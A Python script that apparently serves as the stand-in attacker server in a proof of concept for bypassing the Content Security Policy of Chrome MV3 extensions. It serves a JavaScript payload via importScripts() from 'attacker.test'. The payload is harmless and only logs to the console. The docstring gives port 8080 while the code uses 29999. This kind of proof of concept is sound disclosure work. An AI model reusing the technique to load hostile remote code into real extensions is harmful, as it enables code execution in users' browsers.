#!/usr/bin/env python3
"""
Simulated remote attacker server for the importScripts() proof.

Serves payload.js on http://attacker.test:8080 (mapped to 127.0.0.1 via
Chrome's --host-resolver-rules). This domain is NOT whitelisted by
kMinimumUnpackedMV3CSP (which only allows http://localhost:* and
http://127.0.0.1:*), so a successful importScripts proves the CSP bypass.
"""
import http.server
import socketserver
import sys

PORT = 29999

PAYLOAD = b"""\
// REMOTE PAYLOAD -- served from http://attacker.test:8080/payload.js
// If you're reading this in console output, importScripts() succeeded
// and remote code is running inside an MV3 extension service worker.
self.REMOTE_CODE_EXECUTED = true;
console.log("[REMOTE-PAYLOAD] >>> REMOTE CODE EXECUTING IN EXTENSION SW <<<");
console.log("[REMOTE-PAYLOAD] >>> origin = " + self.location.origin + " <<<");
console.log("[REMOTE-PAYLOAD] >>> scope  = " + self.registration.scope + " <<<");
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/payload.js":
            self.send_response(200)
            self.send_header("Content-Type", "application/javascript")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Length", str(len(PAYLOAD)))
            self.end_headers()
            self.wfile.write(PAYLOAD)
            sys.stderr.write(
                f"[server] served payload.js to {self.client_address[0]} "
                f"(Host: {self.headers.get('Host', '?')})\n"
            )
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        pass


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        sys.stderr.write(f"[server] listening on 127.0.0.1:{PORT}\n")
        httpd.serve_forever()